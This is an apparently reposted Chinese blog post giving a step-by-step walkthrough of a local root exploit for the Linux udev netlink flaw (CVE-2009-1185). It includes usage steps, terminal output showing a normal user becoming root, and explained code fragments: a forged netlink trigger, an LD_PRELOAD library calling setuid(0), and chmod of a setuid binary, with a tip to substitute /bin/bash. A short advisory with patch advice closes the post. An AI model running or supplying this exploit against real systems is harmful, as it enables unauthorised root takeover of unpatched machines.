1. 在LINUX目录下建立test 帐户
2.下载 a脚本 在
3.查看UDEV的PID 方法一: 先cat /proc/net/netlink
ffff810077587400 15 364 ffffffff 0 0 0000000000000000 2
ffff810037f81000 16 0 00000000 0 0 0000000000000000 2
ffff810077078400 18 0 00000000 0 0 0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录 里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 用户大变身!!
说说我的测试版本[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux
目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..
|
文件: |
Linux Kernel 2_6 UDEV Local Privilege Escalation Exploit.rar |
大小: |
1KB |
下载: |
下载 | |
转自:
这个脚本在我的FC上不完全能成功。
能看到/dev/foo这个设备
能看到有个root身份的sh在运行。
所以原理上是可以的,可能execl有些问题,我稍微改了一些就好了
简单解释一下:
程序有3部分:
udev.c: 触发udev, 装载一个块设备
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
关键的一点是,触发一个init()调用,而这个init()函数在下面的program里被重定义了。而这个调用是以root身份进行的。
program.c: 关键
setgid(0);
setuid(0); //得到root身份,之后你可以用任何C,比如 FILE * fp=fopen("/test","w"); fprintf(fp, "ttttt");fclose(fp); 在根路径下建个文件
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);//关键: 对/tmp/suid/ 设置为owner=root, set uid bit, 这个普通用户也能以root身份运行这个suid程序。但我的机器上,execl调用有些问题,我就这么改:
chown(“/tmp/suid",0,0);
chmod("/tmp/suid",04777);
//以上把/tmp/suid 改成任何你想以root身份运行的程序都可以,比如/bin/bash,
编译
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 init.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
这样, /tmp/libno_ex.so和原来的libno_ex.so的区别就是新的那个里有自定义的_init()
suid.c: 一个普通的程序,调用/bin/bash/,非必要程序
脚本其他部分就是使得hack傻瓜化,自动化
------------------------------------------
问题描述:
udev提供用户空间API并在系统中仅存在设备的情况下实现动态设备目录。udev取代了
devfs以提供更强大的热插拔功能。Netlink是面向数据报的服务,用于在内核模块与
用户空间进程之间传输信息。
udev没有正确的检查Netlink消息的来源,本地攻击者可以利用这个漏洞向udev发送特
制的Netlink消息,导致其创建已有系统块设备(如root文件系统)完全可写的块设备
文件,以获得root权限。(CVE-2009-1185)
Red Hat感谢SUSE安全小组的Sebastian Krahmer负责任的报告了这个漏洞。
建议udev用户升级到这些包含有修复漏洞后端移植补丁的新版软件包。安装更新后,
udev守护程序会自动重启。
阅读(2250) | 评论(0) | 转发(0) |